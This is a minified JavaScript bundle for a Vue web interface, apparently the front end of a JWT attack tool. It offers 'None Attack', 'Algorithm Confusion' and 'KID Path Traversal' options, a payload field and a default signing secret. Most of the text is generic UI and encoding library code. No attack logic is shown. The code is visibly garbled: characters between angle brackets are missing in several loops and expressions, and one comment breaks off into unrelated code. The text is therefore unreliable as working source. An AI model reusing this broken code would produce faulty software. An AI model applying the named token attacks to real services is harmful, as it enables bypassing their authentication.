E)?E:E[e.optionAttribute]),1)])],2),C?(G(),oe("span",{key:0,class:ae([e.uiMenu.option.selectedIcon.wrapper,e.uiMenu.option.selectedIcon.padding])},[he(o,{name:e.selectedIcon,class:ae(e.uiMenu.option.selectedIcon.base),"aria-hidden":"true"},null,8,["name","class"])],2)):Ce("",!0)],2)]),_:2},1032,["value","disabled"]))),128)),e.creatable&&e.createOption?(G(),Qe($r(e.searchable?"HComboboxOption":"HListboxOption"),{key:1,value:e.createOption,as:"template"},{default:et(({active:E,selected:I})=>[ne("li",{class:ae([e.uiMenu.option.base,e.uiMenu.option.rounded,e.uiMenu.option.padding,e.uiMenu.option.size,e.uiMenu.option.color,E?e.uiMenu.option.active:e.uiMenu.option.inactive])},[ne("div",{class:ae(e.uiMenu.option.container)},[at(e.$slots,"option-create",{option:e.createOption,active:E,selected:I},()=>[ne("span",{class:ae(e.uiMenu.option.create)},'Create "'+ct(e.createOption[e.optionAttribute])+'"',3)])],2)],2)]),_:3},8,["value"])):e.searchable&&e.query&&!((p=e.filteredOptions)!=null&&p.length)?(G(),oe("p",{key:2,class:ae(e.uiMenu.option.empty)},[at(e.$slots,"option-empty",{query:e.query},()=>[Jt(' No results for "'+ct(e.query)+'". ',1)])],2)):(m=e.filteredOptions)!=null&&m.length?Ce("",!0):(G(),oe("p",{key:3,class:ae(e.uiMenu.empty)},[at(e.$slots,"empty",{query:e.query},()=>[Jt(" No options. ")])],2))]}),_:3},8,["class"]))])]),_:3},16)],2)):Ce("",!0)]),_:3},8,["by","name","model-value","multiple","disabled","class","onUpdate:modelValue"])}const Dn=Kr(Yd,[["render",Qd]]);var qt=(e=>(e.CUSTOM="Custom",e.NONE_ATTACK="None Attack",e.ALGORITHM_CONFUSION="Algorithm Confusion",e.KID_PATH_TRAVERSAL="KID Path Traversal",e))(qt||{});const _r=()=>is("jwtForm",()=>bn({token:"",attack:qt.CUSTOM,payload:""})),ec={class:"flex w-1/6"},tc=xe({__name:"attacks",setup(e){const t=_r().value;return(r,n)=>{const i=Dn;return G(),oe("div",ec,[he(i,{modelValue:Z(t).attack,"onUpdate:modelValue":n[0]||(n[0]=a=>Z(t).attack=a),options:Object.values(Z(qt)),size:"lg",color:"secondary",class:"w-full"},null,8,["modelValue","options"])])}}}),rc=xe({inheritAttrs:!1,props:{...Aa,as:{type:String,default:"button"},type:{type:String,default:"button"},disabled:{type:Boolean,default:null},active:{type:Boolean,default:void 0},exact:{type:Boolean,default:!1},exactQuery:{type:Boolean,default:!1},exactHash:{type:Boolean,default:!1},inactiveClass:{type:String,default:void 0}},setup(e){function t(r,n,{isActive:i,isExactActive:a}){return e.exactQuery&&!yl(r.query,n.query)||e.exactHash&&r.hash!==n.hash?e.inactiveClass:e.exact&&a||!e.exact&&i?e.activeClass:e.inactiveClass}return{resolveLinkClass:t}}}),nc=["href","aria-disabled","role","rel","target","onClick"];function ic(e,t,r,n,i,a){const o=vl;return e.to?(G(),Qe(o,lr({key:1},e.$props,{custom:""}),{default:et(({route:s,href:c,target:b,rel:p,navigate:m,isActive:E,isExactActive:I,isExternal:B})=>[ne("a",lr(e.$attrs,{href:e.disabled?void 0:c,"aria-disabled":e.disabled?"true":void 0,role:e.disabled?"link":void 0,rel:p,target:b,class:e.active!==void 0?e.active?e.activeClass:e.inactiveClass:e.resolveLinkClass(s,e._.provides[ul]||e.$route,{isActive:E,isExactActive:I}),onClick:C=>!B&&!e.disabled&&m(C)}),[at(e.$slots,"default",vo(mo({isActive:e.active!==void 0?e.active:e.exact?I:E})))],16,nc)]),_:3},16)):(G(),Qe($r(e.as),lr({key:0,type:e.type,disabled:e.disabled},e.$attrs,{class:e.active?e.activeClass:e.inactiveClass}),{default:et(()=>[at(e.$slots,"default",vo(mo({isActive:e.active})))]),_:3},16,["type","disabled","class"]))}const Js=Kr(rc,[["render",ic]]),ar=cn(nt.ui.strategy,nt.ui.button,Fl),ac=xe({components:{UIcon:Qt,ULink:Js},inheritAttrs:!1,props:{...Aa,type:{type:String,default:"button"},block:{type:Boolean,default:!1},label:{type:String,default:null},loading:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},padded:{type:Boolean,default:!0},size:{type:String,default:()=>ar.default.size,validator(e){return Object.keys(ar.size).includes(e)}},color:{type:String,default:()=>ar.default.color,validator(e){return[...nt.ui.colors,...Object.keys(ar.color)].includes(e)}},variant:{type:String,default:()=>ar.default.variant,validator(e){return[...Object.keys(ar.variant),...Object.values(ar.color).flatMap(t=>Object.keys(t))].includes(e)}},icon:{type:String,default:null},loadingIcon:{type:String,default:()=>ar.default.loadingIcon},leadingIcon:{type:String,default:null},trailingIcon:{type:String,default:null},trailing:{type:Boolean,default:!1},leading:{type:Boolean,default:!1},square:{type:Boolean,default:!1},truncate:{type:Boolean,default:!1},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})}},setup(e,{slots:t}){const{ui:r,attrs:n}=Rn("button",Nr(e,"ui"),ar),{size:i,rounded:a}=Ws({ui:r,props:e}),o=q(()=>e.icon&&e.leading||e.icon&&!e.trailing||e.loading&&!e.trailing||e.leadingIcon),s=q(()=>e.icon&&e.trailing||e.loading&&e.trailing||e.trailingIcon),c=q(()=>e.square||!t.default&&!e.label),b=q(()=>{var F,z;const C=((z=(F=r.value.color)==null?void 0:F[e.color])==null?void 0:z[e.variant])||r.value.variant[e.variant];return Cn(dt(r.value.base,r.value.font,a.value,r.value.size[i.value],r.value.gap[i.value],e.padded&&r.value[c.value?"square":"padding"][i.value],C==null?void 0:C.replaceAll("{color}",e.color),e.block?r.value.block:r.value.inline),e.class)}),p=q(()=>e.loading?e.loadingIcon:e.leadingIcon||e.icon),m=q(()=>e.loading&&!o.value?e.loadingIcon:e.trailingIcon||e.icon),E=q(()=>dt(r.value.icon.base,r.value.icon.size[i.value],e.loading&&r.value.icon.loading)),I=q(()=>dt(r.value.icon.base,r.value.icon.size[i.value],e.loading&&!o.value&&r.value.icon.loading)),B=q(()=>Ol(e));return{ui:r,attrs:n,isLeading:o,isTrailing:s,isSquare:c,buttonClass:b,leadingIconName:p,trailingIconName:m,leadingIconClass:E,trailingIconClass:I,linkProps:B}}});function oc(e,t,r,n,i,a){const o=Qt,s=Js;return G(),Qe(s,lr({type:e.type,disabled:e.disabled||e.loading,class:e.buttonClass},{...e.linkProps,...e.attrs}),{default:et(()=>[at(e.$slots,"leading",{disabled:e.disabled,loading:e.loading},()=>[e.isLeading&&e.leadingIconName?(G(),Qe(o,{key:0,name:e.leadingIconName,class:ae(e.leadingIconClass),"aria-hidden":"true"},null,8,["name","class"])):Ce("",!0)]),at(e.$slots,"default",{},()=>[e.label?(G(),oe("span",{key:0,class:ae([e.truncate?e.ui.truncate:""])},ct(e.label),3)):Ce("",!0)]),at(e.$slots,"trailing",{disabled:e.disabled,loading:e.loading},()=>[e.isTrailing&&e.trailingIconName?(G(),Qe(o,{key:0,name:e.trailingIconName,class:ae(e.trailingIconClass),"aria-hidden":"true"},null,8,["name","class"])):Ce("",!0)])]),_:3},16,["type","disabled","class"])}const oi=Kr(ac,[["render",oc]]),si=()=>is("jwtParts",()=>bn({header:"",payload:"",secret:"secret-to-sign-token"}));var St=(e=>(e.HS256="HS256",e.HS384="HS384",e.HS512="HS512",e.RS256="RS256",e.RS384="RS384",e.RS512="RS512",e.ES256="ES256",e.ES384="ES384",e.ES512="ES512",e.PS256="PS256",e.PS384="PS384",e.PS512="PS512",e))(St||{});const sc={class:"flex justify-center"},fc=xe({__name:"custom",setup(e){const t=si().value,r=re(St.HS256);return Je(r,async()=>{try{const n=JSON.parse(t.header);n.alg=r.value,t.header=JSON.stringify(n,null,2)}catch(n){console.error(n)}}),(n,i)=>{const a=Qt,o=oi,s=Dn;return G(),oe("div",sc,[he(s,{modelValue:Z(r),"onUpdate:modelValue":i[0]||(i[0]=c=>Ea(r)?r.value=c:null),options:Object.keys(Z(St)),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select algorithm"},{default:et(({open:c})=>[he(o,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(ct(Z(r))+" ",1),he(a,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[c&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])])}}});var lc=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function uc(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function dc(e){if(e.__esModule)return e;var t=e.default;if(typeof t=="function"){var r=function n(){return this instanceof n?Reflect.construct(t,arguments,this.constructor):t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach(function(n){var i=Object.getOwnPropertyDescriptor(e,n);Object.defineProperty(r,n,i.get?i:{enumerable:!0,get:function(){return e[n]}})}),r}var fi={},li={};li.byteLength=pc;li.toByteArray=vc;li.fromByteArray=yc;var Ut=[],yt=[],cc=typeof Uint8Array<"u"?Uint8Array:Array,Ji="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(var Yr=0,hc=Ji.length;Yr0)throw new Error("Invalid string. Length must be a multiple of 4");var r=e.indexOf("=");r===-1&&(r=t);var n=r===t?0:4-r%4;return[r,n]}function pc(e){var t=Ys(e),r=t[0],n=t[1];return(r+n)*3/4-n}function bc(e,t,r){return(t+r)*3/4-r}function vc(e){var t,r=Ys(e),n=r[0],i=r[1],a=new cc(bc(e,n,i)),o=0,s=i>0?n-4:n,c;for(c=0;c>16&255,a[o++]=t>>8&255,a[o++]=t&255;return i===2&&(t=yt[e.charCodeAt(c)]<<2|yt[e.charCodeAt(c+1)]>>4,a[o++]=t&255),i===1&&(t=yt[e.charCodeAt(c)]<<10|yt[e.charCodeAt(c+1)]<<4|yt[e.charCodeAt(c+2)]>>2,a[o++]=t>>8&255,a[o++]=t&255),a}function mc(e){return Ut[e>>18&63]+Ut[e>>12&63]+Ut[e>>6&63]+Ut[e&63]}function gc(e,t,r){for(var n,i=[],a=t;as?s:o+a));return n===1?(t=e[r-1],i.push(Ut[t>>2]+Ut[t<<4&63]+"==")):n===2&&(t=(e[r-2]<<8)+e[r-1],i.push(Ut[t>>10]+Ut[t>>4&63]+Ut[t<<2&63]+"=")),i.join("")}var La={};/*! ieee754. BSD-3-Clause License. Feross Aboukhadijeh */La.read=function(e,t,r,n,i){var a,o,s=i*8-n-1,c=(1<>1,p=-7,m=r?i-1:0,E=r?-1:1,I=e[t+m];for(m+=E,a=I&(1<<-p)-1,I>>=-p,p+=s;p>0;a=a*256+e[t+m],m+=E,p-=8);for(o=a&(1<<-p)-1,a>>=-p,p+=n;p>0;o=o*256+e[t+m],m+=E,p-=8);if(a===0)a=1-b;else{if(a===c)return o?NaN:(I?-1:1)*(1/0);o=o+Math.pow(2,n),a=a-b}return(I?-1:1)*o*Math.pow(2,a-n)};La.write=function(e,t,r,n,i,a){var o,s,c,b=a*8-i-1,p=(1<>1,E=i===23?Math.pow(2,-24)-Math.pow(2,-77):0,I=n?0:a-1,B=n?1:-1,C=t<0||t===0&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(s=isNaN(t)?1:0,o=p):(o=Math.floor(Math.log(t)/Math.LN2),t*(c=Math.pow(2,-o))<1&&(o--,c*=2),o+m>=1?t+=E/c:t+=E*Math.pow(2,1-m),t*c>=2&&(o++,c/=2),o+m>=p?(s=0,o=p):o+m>=1?(s=(t*c-1)*Math.pow(2,i),o=o+m):(s=t*Math.pow(2,m-1)*Math.pow(2,i),o=0));i>=8;e[r+I]=s&255,I+=B,s/=256,i-=8);for(o=o<0;e[r+I]=o&255,I+=B,o/=256,b-=8);e[r+I-B]|=C*128};/*! +`));let I=Ms((s=m.props)!=null?s:{},d,p),B=rs(m,I,!0);for(let C in I)C.startsWith("on")&&(B.props||(B.props={}),B.props[C]=I[C]);return B}return Array.isArray(b)&&b.length===1?b[0]:b}return Lr(o,Object.assign({},d,p),{default:()=>b})}function Ss(e){return e.flatMap(t=>t.type===pn?Ss(t.children):[t])}function Ms(...e){if(e.length===0)return{};if(e.length===1)return e[0];let t={},r={};for(let n of e)for(let i in n)i.startsWith("on")&&typeof n[i]=="function"?(r[i]!=null||(r[i]=[]),r[i].push(n[i])):t[i]=n[i];if(t.disabled||t["aria-disabled"])return Object.assign(t,Object.fromEntries(Object.keys(r).map(n=>[n,void 0])));for(let n in r)Object.assign(t,{[n](i,...a){let s=r[n];for(let o of s){if(i instanceof Event&&i.defaultPrevented)return;o(i,...a)}}});return t}function _s(e){let t=Object.assign({},e);for(let r in t)t[r]===void 0&&delete t[r];return t}function Pn(e,t=[]){let r=Object.assign({},e);for(let n of t)n in r&&delete r[n];return r}function wu(e){return e==null?!1:typeof e.type=="string"||typeof e.type=="object"||typeof e.type=="function"}var ka=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(ka||{});let Es=xe({name:"Hidden",props:{as:{type:[Object,String],default:"div"},features:{type:Number,default:1}},setup(e,{slots:t,attrs:r}){return()=>{var n;let{features:i,...a}=e,s={"aria-hidden":(i&2)===2?!0:(n=a["aria-hidden"])!=null?n:void 0,hidden:(i&4)===4?!0:void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...(i&4)===4&&(i&2)!==2&&{display:"none"}}};return er({ourProps:s,theirProps:a,slot:{},attrs:r,slots:t,name:"Hidden"})}}}),As=Symbol("Context");var ur=(e=>(e[e.Open=1]="Open",e[e.Closed=2]="Closed",e[e.Closing=4]="Closing",e[e.Opening=8]="Opening",e))(ur||{});function Is(){return kt(As,null)}function Os(e){hn(As,e)}var me=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(me||{}),Bs=(e=>(e[e.Left=0]="Left",e[e.Right=2]="Right",e))(Bs||{});function Su(e){function t(){document.readyState!=="loading"&&(e(),document.removeEventListener("DOMContentLoaded",t))}typeof window<"u"&&typeof document<"u"&&(document.addEventListener("DOMContentLoaded",t),t())}let Tr=[];Su(()=>{function e(t){t.target instanceof HTMLElement&&t.target!==document.body&&Tr[0]!==t.target&&(Tr.unshift(t.target),Tr=Tr.filter(r=>r!=null&&r.isConnected),Tr.splice(10))}window.addEventListener("click",e,{capture:!0}),window.addEventListener("mousedown",e,{capture:!0}),window.addEventListener("focus",e,{capture:!0}),document.body.addEventListener("click",e,{capture:!0}),document.body.addEventListener("mousedown",e,{capture:!0}),document.body.addEventListener("focus",e,{capture:!0})});function Mu(e){throw new Error("Unexpected object: "+e)}var de=(e=>(e[e.First=0]="First",e[e.Previous=1]="Previous",e[e.Next=2]="Next",e[e.Last=3]="Last",e[e.Specific=4]="Specific",e[e.Nothing=5]="Nothing",e))(de||{});function ha(e,t){let r=t.resolveItems();if(r.length<=0)return null;let n=t.resolveActiveIndex(),i=n??-1;switch(e.focus){case 0:{for(let a=0;a=0;--a)if(!t.resolveDisabled(r[a],a,r))return a;return n}case 2:{for(let a=i+1;a=0;--a)if(!t.resolveDisabled(r[a],a,r))return a;return n}case 4:{for(let a=0;a(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Au||{}),Iu=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Iu||{}),Ou=(e=>(e[e.Pointer=0]="Pointer",e[e.Focus=1]="Focus",e[e.Other=2]="Other",e))(Ou||{});let Rs=Symbol("ComboboxContext");function vn(e){let t=kt(Rs,null);if(t===null){let r=new Error(`<${e} /> is missing a parent component.`);throw Error.captureStackTrace&&Error.captureStackTrace(r,vn),r}return t}let $s=Symbol("VirtualContext"),Bu=xe({name:"VirtualProvider",setup(e,{slots:t}){let r=vn("VirtualProvider"),n=q(()=>{let o=ee(r.optionsRef);if(!o)return{start:0,end:0};let d=window.getComputedStyle(o);return{start:parseFloat(d.paddingBlockStart||d.paddingTop),end:parseFloat(d.paddingBlockEnd||d.paddingBottom)}}),i=nu(q(()=>({scrollPaddingStart:n.value.start,scrollPaddingEnd:n.value.end,count:r.virtual.value.options.length,estimateSize(){return 40},getScrollElement(){return ee(r.optionsRef)},overscan:12}))),a=q(()=>{var o;return(o=r.virtual.value)==null?void 0:o.options}),s=re(0);return Je([a],()=>{s.value+=1}),hn($s,r.virtual.value?i:null),()=>[Lr("div",{style:{position:"relative",width:"100%",height:`${i.value.getTotalSize()}px`},ref:o=>{if(o){if(typeof process<"u"&&_u.JEST_WORKER_ID!==void 0||r.activationTrigger.value===0)return;r.activeOptionIndex.value!==null&&r.virtual.value.options.length>r.activeOptionIndex.value&&i.value.scrollToIndex(r.activeOptionIndex.value)}}},i.value.getVirtualItems().map(o=>rs(t.default({option:r.virtual.value.options[o.index],open:r.comboboxState.value===0})[0],{key:`${s.value}-${o.index}`,"data-index":o.index,"aria-setsize":r.virtual.value.options.length,"aria-posinset":o.index+1,style:{position:"absolute",top:0,left:0,transform:`translateY(${o.start}px)`,overflowAnchor:"none"}})))]}}),ku=xe({name:"Combobox",emits:{"update:modelValue":e=>!0},props:{as:{type:[Object,String],default:"template"},disabled:{type:[Boolean],default:!1},by:{type:[String,Function],nullable:!0,default:null},modelValue:{type:[Object,String,Number,Boolean],default:void 0},defaultValue:{type:[Object,String,Number,Boolean],default:void 0},form:{type:String,optional:!0},name:{type:String,optional:!0},nullable:{type:Boolean,default:!1},multiple:{type:[Boolean],default:!1},immediate:{type:[Boolean],default:!1},virtual:{type:Object,default:null}},inheritAttrs:!1,setup(e,{slots:t,attrs:r,emit:n}){let i=re(1),a=re(null),s=re(null),o=re(null),d=re(null),b=re({static:!1,hold:!1}),p=re([]),m=re(null),E=re(2),I=re(!1);function B(U=x=>x){let x=m.value!==null?p.value[m.value]:null,f=U(p.value.slice()),h=f.length>0&&f[0].dataRef.order.value!==null?f.sort((y,M)=>y.dataRef.order.value-M.dataRef.order.value):ms(f,y=>ee(y.dataRef.domRef)),g=x?h.indexOf(x):null;return g===-1&&(g=null),{options:h,activeOptionIndex:g}}let C=q(()=>e.multiple?1:0),F=q(()=>e.nullable),[z,D]=ps(q(()=>e.modelValue),U=>n("update:modelValue",U),q(()=>e.defaultValue)),R=q(()=>z.value===void 0?tt(C.value,{1:[],0:void 0}):z.value),N=null,$=null;function L(U){return tt(C.value,{0(){return D==null?void 0:D(U)},1:()=>{let x=Ye(j.value.value).slice(),f=Ye(U),h=x.findIndex(g=>j.compare(f,Ye(g)));return h===-1?x.push(f):x.splice(h,1),D==null?void 0:D(x)}})}let K=q(()=>{});Je([K],([U],[x])=>{if(j.virtual.value&&U&&x&&m.value!==null){let f=U.indexOf(x[m.value]);f!==-1?m.value=f:m.value=null}});let j={comboboxState:i,value:R,mode:C,compare(U,x){if(typeof e.by=="string"){let f=e.by;return(U==null?void 0:U[f])===(x==null?void 0:x[f])}return e.by===null?Eu(U,x):e.by(U,x)},calculateIndex(U){return j.virtual.value?e.by===null?j.virtual.value.options.indexOf(U):j.virtual.value.options.findIndex(x=>j.compare(x,U)):p.value.findIndex(x=>j.compare(x.dataRef.value,U))},defaultValue:q(()=>e.defaultValue),nullable:F,immediate:q(()=>!1),virtual:q(()=>null),inputRef:s,labelRef:a,buttonRef:o,optionsRef:d,disabled:q(()=>e.disabled),options:p,change(U){D(U)},activeOptionIndex:q(()=>{if(I.value&&m.value===null&&(j.virtual.value?j.virtual.value.options.length>0:p.value.length>0)){if(j.virtual.value){let x=j.virtual.value.options.findIndex(f=>{var h;return!((h=j.virtual.value)!=null&&h.disabled(f))});if(x!==-1)return x}let U=p.value.findIndex(x=>!x.dataRef.disabled);if(U!==-1)return U}return m.value}),activationTrigger:E,optionsPropsRef:b,closeCombobox(){I.value=!1,!e.disabled&&i.value!==1&&(i.value=1,m.value=null)},openCombobox(){if(I.value=!0,!e.disabled&&i.value!==0){if(j.value.value){let U=j.calculateIndex(j.value.value);U!==-1&&(m.value=U)}i.value=0}},setActivationTrigger(U){E.value=U},goToOption(U,x,f){I.value=!1,N!==null&&cancelAnimationFrame(N),N=requestAnimationFrame(()=>{if(e.disabled||d.value&&!b.value.static&&i.value===1)return;if(j.virtual.value){m.value=U===de.Specific?x:ha({focus:U},{resolveItems:()=>j.virtual.value.options,resolveActiveIndex:()=>{var y,M;return(M=(y=j.activeOptionIndex.value)!=null?y:j.virtual.value.options.findIndex(A=>{var k;return!((k=j.virtual.value)!=null&&k.disabled(A))}))!=null?M:null},resolveDisabled:y=>j.virtual.value.disabled(y),resolveId(){throw new Error("Function not implemented.")}}),E.value=f??2;return}let h=B();if(h.activeOptionIndex===null){let y=h.options.findIndex(M=>!M.dataRef.disabled);y!==-1&&(h.activeOptionIndex=y)}let g=U===de.Specific?x:ha({focus:U},{resolveItems:()=>h.options,resolveActiveIndex:()=>h.activeOptionIndex,resolveId:y=>y.id,resolveDisabled:y=>y.dataRef.disabled});m.value=g,E.value=f??2,p.value=h.options})},selectOption(U){let x=p.value.find(h=>h.id===U);if(!x)return;let{dataRef:f}=x;L(f.value)},selectActiveOption(){if(j.activeOptionIndex.value!==null){if(j.virtual.value)L(j.virtual.value.options[j.activeOptionIndex.value]);else{let{dataRef:U}=p.value[j.activeOptionIndex.value];L(U.value)}j.goToOption(de.Specific,j.activeOptionIndex.value)}},registerOption(U,x){let f=bn({id:U,dataRef:x});if(j.virtual.value){p.value.push(f);return}$&&cancelAnimationFrame($);let h=B(g=>(g.push(f),g));m.value===null&&j.isSelected(x.value.value)&&(h.activeOptionIndex=h.options.indexOf(f)),p.value=h.options,m.value=h.activeOptionIndex,E.value=2,h.options.some(g=>!ee(g.dataRef.domRef))&&($=requestAnimationFrame(()=>{let g=B();p.value=g.options,m.value=g.activeOptionIndex}))},unregisterOption(U,x){if(N!==null&&cancelAnimationFrame(N),x&&(I.value=!0),j.virtual.value){p.value=p.value.filter(h=>h.id!==U);return}let f=B(h=>{let g=h.findIndex(y=>y.id===U);return g!==-1&&h.splice(g,1),h});p.value=f.options,m.value=f.activeOptionIndex,E.value=2},isSelected(U){return tt(C.value,{0:()=>j.compare(Ye(j.value.value),Ye(U)),1:()=>Ye(j.value.value).some(x=>j.compare(Ye(x),Ye(U)))})},isActive(U){return m.value===j.calculateIndex(U)}};ys([s,o,d],()=>j.closeCombobox(),q(()=>i.value===0)),hn(Rs,j),Os(q(()=>tt(i.value,{0:ur.Open,1:ur.Closed})));let H=q(()=>{var U;return(U=ee(s))==null?void 0:U.closest("form")});return Rt(()=>{Je([H],()=>{if(!H.value||e.defaultValue===void 0)return;function U(){j.change(e.defaultValue)}return H.value.addEventListener("reset",U),()=>{var x;(x=H.value)==null||x.removeEventListener("reset",U)}},{immediate:!0})}),()=>{var U,x,f;let{name:h,disabled:g,form:y,...M}=e,A={open:i.value===0,disabled:g,activeIndex:j.activeOptionIndex.value,activeOption:j.activeOptionIndex.value===null?null:j.virtual.value?j.virtual.value.options[(U=j.activeOptionIndex.value)!=null?U:0]:(f=(x=j.options.value[j.activeOptionIndex.value])==null?void 0:x.dataRef.value)!=null?f:null,value:R.value};return Lr(pn,[...h!=null&&R.value!=null?Ca({[h]:R.value}).map(([k,_])=>Lr(Es,_s({features:ka.Hidden,key:k,as:"input",type:"hidden",hidden:!0,readOnly:!0,form:y,disabled:g,name:k,value:_}))):[],er({theirProps:{...r,...Pn(M,["by","defaultValue","immediate","modelValue","multiple","nullable","onUpdate:modelValue","virtual"])},ourProps:{},slot:A,slots:t,attrs:r,name:"Combobox"})])}}}),Cu=xe({name:"ComboboxButton",props:{as:{type:[Object,String],default:"button"},id:{type:String,default:null}},setup(e,{attrs:t,slots:r,expose:n}){var i;let a=(i=e.id)!=null?i:`headlessui-combobox-button-${Wr()}`,s=vn("ComboboxButton");n({el:s.buttonRef,$el:s.buttonRef});function o(p){s.disabled.value||(s.comboboxState.value===0?s.closeCombobox():(p.preventDefault(),s.openCombobox()),ot(()=>{var m;return(m=ee(s.inputRef))==null?void 0:m.focus({preventScroll:!0})}))}function d(p){switch(p.key){case me.ArrowDown:p.preventDefault(),p.stopPropagation(),s.comboboxState.value===1&&s.openCombobox(),ot(()=>{var m;return(m=s.inputRef.value)==null?void 0:m.focus({preventScroll:!0})});return;case me.ArrowUp:p.preventDefault(),p.stopPropagation(),s.comboboxState.value===1&&(s.openCombobox(),ot(()=>{s.value.value||s.goToOption(de.Last)})),ot(()=>{var m;return(m=s.inputRef.value)==null?void 0:m.focus({preventScroll:!0})});return;case me.Escape:if(s.comboboxState.value!==0)return;p.preventDefault(),s.optionsRef.value&&!s.optionsPropsRef.value.static&&p.stopPropagation(),s.closeCombobox(),ot(()=>{var m;return(m=s.inputRef.value)==null?void 0:m.focus({preventScroll:!0})});return}}let b=xs(q(()=>({as:e.as,type:t.type})),s.buttonRef);return()=>{var p,m;let E={open:s.comboboxState.value===0,disabled:s.disabled.value,value:s.value.value},{...I}=e,B={ref:s.buttonRef,id:a,type:b.value,tabindex:"-1","aria-haspopup":"listbox","aria-controls":(p=ee(s.optionsRef))==null?void 0:p.id,"aria-expanded":s.comboboxState.value===0,"aria-labelledby":s.labelRef.value?[(m=ee(s.labelRef))==null?void 0:m.id,a].join(" "):void 0,disabled:s.disabled.value===!0?!0:void 0,onKeydown:d,onClick:o};return er({ourProps:B,theirProps:I,slot:E,attrs:t,slots:r,name:"ComboboxButton"})}}}),Ru=xe({name:"ComboboxInput",props:{as:{type:[Object,String],default:"input"},static:{type:Boolean,default:!1},unmount:{type:Boolean,default:!0},displayValue:{type:Function},defaultValue:{type:String,default:void 0},id:{type:String,default:null}},emits:{change:e=>!0},setup(e,{emit:t,attrs:r,slots:n,expose:i}){var a;let s=(a=e.id)!=null?a:`headlessui-combobox-input-${Wr()}`,o=vn("ComboboxInput"),d=q(()=>Oa(ee(o.inputRef))),b={value:!1};i({el:o.inputRef,$el:o.inputRef});function p(){o.change(null);let $=ee(o.optionsRef);$&&($.scrollTop=0),o.goToOption(de.Nothing)}let m=q(()=>{var $;let L=o.value.value;return ee(o.inputRef)?typeof e.displayValue<"u"&&L!==void 0?($=e.displayValue(L))!=null?$:"":typeof L=="string"?L:"":""});Rt(()=>{Je([m,o.comboboxState,d],([$,L],[K,j])=>{if(b.value)return;let H=ee(o.inputRef);H&&((j===0&&L===1||$!==K)&&(H.value=$),requestAnimationFrame(()=>{var U;if(b.value||!H||((U=d.value)==null?void 0:U.activeElement)!==H)return;let{selectionStart:x,selectionEnd:f}=H;Math.abs((f??0)-(x??0))===0&&x===0&&H.setSelectionRange(H.value.length,H.value.length)}))},{immediate:!0}),Je([o.comboboxState],([$],[L])=>{if($===0&&L===1){if(b.value)return;let K=ee(o.inputRef);if(!K)return;let j=K.value,{selectionStart:H,selectionEnd:U,selectionDirection:x}=K;K.value="",K.value=j,x!==null?K.setSelectionRange(H,U,x):K.setSelectionRange(H,U)}})});let E=re(!1);function I(){E.value=!0}function B(){Xn().nextFrame(()=>{E.value=!1})}let C=ou();function F($){switch(b.value=!0,C(()=>{b.value=!1}),$.key){case me.Enter:if(b.value=!1,o.comboboxState.value!==0||E.value)return;if($.preventDefault(),$.stopPropagation(),o.activeOptionIndex.value===null){o.closeCombobox();return}o.selectActiveOption(),o.mode.value===0&&o.closeCombobox();break;case me.ArrowDown:return b.value=!1,$.preventDefault(),$.stopPropagation(),tt(o.comboboxState.value,{0:()=>o.goToOption(de.Next),1:()=>o.openCombobox()});case me.ArrowUp:return b.value=!1,$.preventDefault(),$.stopPropagation(),tt(o.comboboxState.value,{0:()=>o.goToOption(de.Previous),1:()=>{o.openCombobox(),ot(()=>{o.value.value||o.goToOption(de.Last)})}});case me.Home:if($.shiftKey)break;return b.value=!1,$.preventDefault(),$.stopPropagation(),o.goToOption(de.First);case me.PageUp:return b.value=!1,$.preventDefault(),$.stopPropagation(),o.goToOption(de.First);case me.End:if($.shiftKey)break;return b.value=!1,$.preventDefault(),$.stopPropagation(),o.goToOption(de.Last);case me.PageDown:return b.value=!1,$.preventDefault(),$.stopPropagation(),o.goToOption(de.Last);case me.Escape:if(b.value=!1,o.comboboxState.value!==0)return;$.preventDefault(),o.optionsRef.value&&!o.optionsPropsRef.value.static&&$.stopPropagation(),o.nullable.value&&o.mode.value===0&&o.value.value===null&&p(),o.closeCombobox();break;case me.Tab:if(b.value=!1,o.comboboxState.value!==0)return;o.mode.value===0&&o.activationTrigger.value!==1&&o.selectActiveOption(),o.closeCombobox();break}}function z($){t("change",$),o.nullable.value&&o.mode.value===0&&$.target.value===""&&p(),o.openCombobox()}function D($){var L,K,j;let H=(L=$.relatedTarget)!=null?L:Tr.find(U=>U!==$.currentTarget);if(b.value=!1,!((K=ee(o.optionsRef))!=null&&K.contains(H))&&!((j=ee(o.buttonRef))!=null&&j.contains(H))&&o.comboboxState.value===0)return $.preventDefault(),o.mode.value===0&&(o.nullable.value&&o.value.value===null?p():o.activationTrigger.value!==1&&o.selectActiveOption()),o.closeCombobox()}function R($){var L,K,j;let 